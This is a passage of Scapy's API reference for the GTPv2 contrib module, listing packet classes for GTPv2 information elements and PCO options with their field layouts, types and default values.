class scapy.contrib.gtp_v2.IE_Port_Number(_pkt, /, *, ietype=126, length=None, CR_flag=0, instance=0, PortNumber=<RandShort>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1393-L1399]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PORTNUMBER          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. IE_Port_Number                        


IE_Port_Number fields






	ietype

	ByteEnumField

	126



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	PortNumber

	ShortField

	<RandShort>















	
class scapy.contrib.gtp_v2.IE_PrivateExtension(_pkt, /, *, ietype=255, length=None, SPARE=0, instance=0, enterprisenum=None, proprietaryvalue=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1473-L1482]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            | SPARE |INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         ENTERPRISENUM         |        PROPRIETARYVALUE       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IE_PrivateExtension                     


IE_PrivateExtension fields






	ietype

	ByteEnumField

	255



	length

	ShortField

	None



	SPARE

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	enterprisenum

	ShortEnumField

	None



	proprietaryvalue

	StrLenField

	b''















	
class scapy.contrib.gtp_v2.IE_RAT(_pkt, /, *, ietype=82, length=None, CR_flag=0, instance=0, RAT_type=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L320-L326]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RAT TYPE   |
+-+-+-+-+-+-+-+-+

                           Fig. IE_RAT                            


IE_RAT fields






	ietype

	ByteEnumField

	82



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	RAT_type

	ByteEnumField

	None















	
class scapy.contrib.gtp_v2.IE_Ran_Nas_Cause(_pkt, /, *, ietype=172, length=None, CR_flag=0, instance=0, protocol_type=0, cause_type=0, cause_value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1461-L1469]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PROTOCO|CAUSE T|  CAUSE VALUE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_Ran_Nas_Cause                       


IE_Ran_Nas_Cause fields






	ietype

	ByteEnumField

	172



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	protocol_type

	BitField  (4 bits)

	0



	cause_type

	BitField  (4 bits)

	0



	cause_value

	ByteField

	0















	
class scapy.contrib.gtp_v2.IE_RecoveryRestart(_pkt, /, *, ietype=3, length=None, CR_flag=0, instance=0, restart_counter=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L729-L735]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RESTART COUNTER|
+-+-+-+-+-+-+-+-+

                     Fig. IE_RecoveryRestart                      


IE_RecoveryRestart fields






	ietype

	ByteEnumField

	3



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	restart_counter

	ByteField

	0















	
class scapy.contrib.gtp_v2.IE_SelectionMode(_pkt, /, *, ietype=128, length=None, CR_flag=0, instance=0, SPARE=0, SelectionMode=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1411-L1418]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   SPARE   |SEL|
+-+-+-+-+-+-+-+-+

                      Fig. IE_SelectionMode                       


IE_SelectionMode fields






	ietype

	ByteEnumField

	128



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	SPARE

	BitField  (6 bits)

	0



	SelectionMode

	BitField  (2 bits)

	0















	
class scapy.contrib.gtp_v2.IE_ServingNetwork(_pkt, /, *, ietype=83, length=None, CR_flag=0, instance=0, MCC=b'', MNC=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L329-L336]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MCC              |      MNC      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_ServingNetwork                      


IE_ServingNetwork fields






	ietype

	ByteEnumField

	83



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	MCC

	TBCDByteField

	b''



	MNC

	TBCDByteField

	b''















	
class scapy.contrib.gtp_v2.IE_UCI(_pkt, /, *, ietype=145, length=None, CR_flag=0, instance=0, MCC=b'', MNC=b'', SPARE1=0, CSG_ID=0, AccessMode=0, SPARE2=0, LCSG=0, CMI=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L498-L511]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MCC              |      MNC      |  SPARE1 |CSG I|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |ACC| SPARE2|L|C|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IE_UCI                            


IE_UCI fields






	ietype

	ByteEnumField

	145



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	MCC

	TBCDByteField

	b''



	MNC

	TBCDByteField

	b''



	SPARE1

	BitField  (5 bits)

	0



	CSG_ID

	BitField  (27 bits)

	0



	AccessMode

	BitField  (2 bits)

	0



	SPARE2

	BitField  (4 bits)

	0



	LCSG

	BitField  (1 bit)

	0



	CMI

	BitField  (1 bit)

	0















	
class scapy.contrib.gtp_v2.IE_UE_Timezone(_pkt, /, *, ietype=114, length=None, CR_flag=0, instance=0, Timezone=0, DST=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1383-L1390]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    TIMEZONE   |      DST      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. IE_UE_Timezone                        


IE_UE_Timezone fields






	ietype

	ByteEnumField

	114



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	Timezone

	ByteField

	0



	DST

	ByteField

	0















	
class scapy.contrib.gtp_v2.IE_ULI(_pkt, /, *, ietype=86, length=None, CR_flag=0, instance=0, SPARE=0, LAI_Present=0, ECGI_Present=0, TAI_Present=0, RAI_Present=0, SAI_Present=0, CGI_Present=0, CGI=0, SAI=0, RAI=0, TAI=0, ECGI=0, LAI=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L410-L442]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SPA|L|E|T|R|S|C|              CGI              |      SAI      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              RAI              |      TAI      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              ECGI             |      LAI      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                           Fig. IE_ULI                            


IE_ULI fields






	ietype

	ByteEnumField

	86



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	SPARE

	BitField  (2 bits)

	0



	LAI_Present

	BitField  (1 bit)

	0



	ECGI_Present

	BitField  (1 bit)

	0



	TAI_Present

	BitField  (1 bit)

	0



	RAI_Present

	BitField  (1 bit)

	0



	SAI_Present

	BitField  (1 bit)

	0



	CGI_Present

	BitField  (1 bit)

	0



	CGI

	PacketField (Cond)

	0



	SAI

	PacketField (Cond)

	0



	RAI

	PacketField (Cond)

	0



	TAI

	PacketField (Cond)

	0



	ECGI

	PacketField (Cond)

	0



	LAI

	PacketField (Cond)

	0















	
class scapy.contrib.gtp_v2.IE_ULI_Timestamp(_pkt, /, *, ietype=170, length=None, CR_flag=0, instance=0, timestamp=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L445-L452]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMESTAMP                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_ULI_Timestamp                       


IE_ULI_Timestamp fields






	ietype

	ByteEnumField

	170



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	timestamp

	XIntField

	0















	
class scapy.contrib.gtp_v2.IE_UPF_SelInd_Flags(_pkt, /, *, ietype=202, length=None, CR_flag=0, instance=0, SPARE=0, DCNR=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1431-L1438]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IETYPE    |             LENGTH            |CR FLAG|INSTANC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SPARE    |D|
+-+-+-+-+-+-+-+-+

                     Fig. IE_UPF_SelInd_Flags                     


IE_UPF_SelInd_Flags fields






	ietype

	ByteEnumField

	202



	length

	ShortField

	None



	CR_flag

	BitField  (4 bits)

	0



	instance

	BitField  (4 bits)

	0



	SPARE

	BitField  (7 bits)

	0



	DCNR

	BitField  (1 bit)

	0















	
class scapy.contrib.gtp_v2.PCO_5GSM_Cause_Value(_pkt, /, *, type=None, length=None, Options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1124-L1129]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |    OPTIONS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                    Fig. PCO_5GSM_Cause_Value                     


PCO_5GSM_Cause_Value fields






	type

	ShortEnumField

	None



	length

	ByteField

	None



	Options

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.PCO_ChallengeHandshakeAuthenticationProtocol(_pkt, /, *, type=None, length=None, PPP=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1238-L1242]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |      PPP      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

        Fig. PCO_ChallengeHandshakeAuthenticationProtocol         


PCO_ChallengeHandshakeAuthenticationProtocol fields






	type

	ShortEnumField

	None



	length

	ByteField

	None



	PPP

	PacketField

	None















	
class scapy.contrib.gtp_v2.PCO_DNS_Server_IPv4(_pkt, /, *, type=None, length=None, address=<RandIP>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1093-L1098]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |    ADDRESS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. PCO_DNS_Server_IPv4                     


PCO_DNS_Server_IPv4 fields






	type

	ShortEnumField

	None



	length

	ByteField

	None



	address

	IPField (Cond)

	<RandIP>















	
class scapy.contrib.gtp_v2.PCO_DNS_Server_IPv6(_pkt, /, *, type=None, length=None, address='2001:db8:0:42::')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1049-L1055]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |    ADDRESS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. PCO_DNS_Server_IPv6                     


PCO_DNS_Server_IPv6 fields






	type

	ShortEnumField

	None



	length

	ByteField

	None



	address

	XBitField (Cond) (128 bits)

	'2001:db8:0:42::'















	
class scapy.contrib.gtp_v2.PCO_IM_CN_Subsystem_Signaling_Flag(_pkt, /, *, type=None, length=None, Options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1041-L1046]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |    OPTIONS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

             Fig. PCO_IM_CN_Subsystem_Signaling_Flag              


PCO_IM_CN_Subsystem_Signaling_Flag fields






	type

	ShortEnumField

	None



	length

	ByteField

	None



	Options

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.PCO_IPCP(_pkt, /, *, type=None, length=None, PPP=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1188-L1192]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |      PPP      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. PCO_IPCP                           


PCO_IPCP fields






	type

	ShortEnumField

	None



	length

	ByteField

	None



	PPP

	PacketField

	None















	
class scapy.contrib.gtp_v2.PCO_IP_Allocation_via_NAS(_pkt, /, *, type=None, length=None, Options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1077-L1082]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |    OPTIONS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                  Fig. PCO_IP_Allocation_via_NAS                  


PCO_IP_Allocation_via_NAS fields






	type

	ShortEnumField

	None



	length

	ByteField

	None



	Options

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.PCO_IPv4(_pkt, /, *, type=None, length=None, address=<RandIP>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L953-L957]

	Bases: PCO_Option


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     LENGTH    |            ADDRESS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. PCO_IPv4                           


PCO_IPv4 fields






	type

	ByteEnumField

	None



	length

	ByteField

	None



	address

	IPField

	<RandIP>















	
class scapy.contrib.gtp_v2.PCO_IPv4_Link_MTU_Request(_pkt, /, *, type=None, length=None, MTU_size=1500)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1101-L1106]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |    MTU SIZE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                  Fig. PCO_IPv4_Link_MTU_Request                  


PCO_IPv4_Link_MTU_Request fields






	type

	ShortEnumField

	None



	length

	ByteField

	None



	MTU_size

	ShortField (Cond)

	1500















	
class scapy.contrib.gtp_v2.PCO_Option(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L932-L939]

	Bases: Packet


	
aliastypes

	




	
extract_padding(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L933-L934]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L936-L939]

	








	
class scapy.contrib.gtp_v2.PCO_PDU_Session_Id(_pkt, /, *, type=None, length=1, PduSessionId=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1117-L1121]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |     LENGTH    |  PDUSESSIONID |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. PCO_PDU_Session_Id                      


PCO_PDU_Session_Id fields






	type

	ShortEnumField

	None



	length

	ByteField

	1



	PduSessionId

	ByteField

	1















	
class scapy.contrib.gtp_v2.PCO_PPP(_pkt, /, *, Code=0, Identifier=0, length=None, Options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1065-L1074]

	Bases: PCO_Protocol


	
aliastypes

	




	
extract_padding(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1073-L1074]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |   IDENTIFIER  |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. PCO_PPP                           


PCO_PPP fields






	Code

	ByteField

	0



	Identifier

	ByteField

	0



	length

	ShortField

	None



	Options

	PacketListField

	[]















	
class scapy.contrib.gtp_v2.PCO_PPP_Auth(_pkt, /, *, Code=0, Identifier=0, length=None, PeerID_length=0, PeerID=b'', Password_length=0, Password=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1195-L1212]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |   IDENTIFIER  |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PEERID LENGTH |             PEERID            |PASSWORD LENGTH|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PASSWORD           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. PCO_PPP_Auth                         


PCO_PPP_Auth fields






	Code

	ByteField

	0



	Identifier

	ByteField

	0



	length

	ShortField

	None



	PeerID_length

	ByteField

	0



	PeerID

	StrFixedLenField (Cond)

	b''



	Password_length

	ByteField

	0



	Password

	StrFixedLenField (Cond)

	b''















	
class scapy.contrib.gtp_v2.PCO_PPP_Challenge(_pkt, /, *, Code=0, Identifier=0, length=None, value_size=0, value=b'', name='PPP Password Authentication Protocol')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/gtp_v2.py#L1222-L1235]

	Bases: PCO_Protocol


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |   IDENTIFIER  |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   VALUE SIZE  |             VALUE             |      NAME     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
